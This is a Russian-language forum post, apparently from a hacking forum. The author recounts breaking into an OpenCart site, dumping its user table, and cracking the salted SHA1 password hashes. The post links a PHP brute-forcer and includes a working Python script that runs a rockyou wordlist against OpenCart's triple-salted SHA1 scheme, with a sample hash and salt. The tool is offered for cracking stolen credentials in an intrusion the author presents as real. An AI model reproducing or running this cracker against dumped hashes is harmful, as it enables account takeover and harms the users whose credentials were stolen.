Предыстория
github.com
Файл словаря passwords.lst меняете на свой, оставляя название.
Тоже самое на python:
автор @larchik
Была задача - взломать сайт на OpenCart. Добрался до бд сайта, вижу таблицу с данными (username, password) от юзеров, делаю дамп базы. А там, к моему нереальному разочарованию, я увидел пароли зашифрованные в SHA1. Не просто в SHA1, а в SHA1+SALT. Хотя бы соль для расшифровки была в этой же таблице, иначе шансы для расшифровки пароля равнялись бы нулю. Сначала, я не планировал придумывать велосипед, а искал уже готовые способы для расшифровки хеша SHA1+SALT. Пробывал и с HashCat, и с JohnTheRipper но, всё безрезультатно. Немножко покопав в интернете, я нашел алгоритм, по которому и шифруется пароль в CMS OpenCart. Скажу честно, всё было сделано умом. Раз паблик способов для расшифровки такого пароля или хотя бы брутфорсера для подобной работы нету, я решил написать свой брутфорсер на PHP. Данным языком я владею на базовом уровне, в отличии от python или bash, на которых обычно и пишется подобный софт, которые я почти не знаю. На это ушло где-то минут 30, но, оно того стоило. В результате у меня получилось что-то подобное.
GitHub - 0xZ3R0/OCBrute: OC Store hash password bruteforcer
OC Store hash password bruteforcer. Contribute to 0xZ3R0/OCBrute development by creating an account on GitHub.
Тоже самое на python:
Python:
# bruteforce hashes OpenCart
import hashlib
dic = open("rockyou.txt", "r") # путь до словаря
master_hash = "41e06e8c17e3e7510bd87c004853079d55627002" # хэш
salt = "grYUceLBq" # соль
yes_string = "YES :) ------ pass = "
no_string = "No :| ------ "
master_hash_description = "Your hash: "
salt_description = "Your salt: "
slave_hash_description = "Result hash: "
password_candidat_description = " for password: "
for line in dic: #
slave_hash = hashlib.sha1(salt+hashlib.sha1(salt+hashlib.sha1(line.rstrip()).hexdigest()).hexdigest()).hexdigest()
if master_hash == slave_hash:
print(master_hash_description + master_hash)
print(salt_description + salt)
print(slave_hash_description + slave_hash)
print(yes_string + line)
break #
else:
print(master_hash_description + master_hash)
print(salt_description + salt)
print(no_string + slave_hash_description + slave_hash + password_candidat_description + line)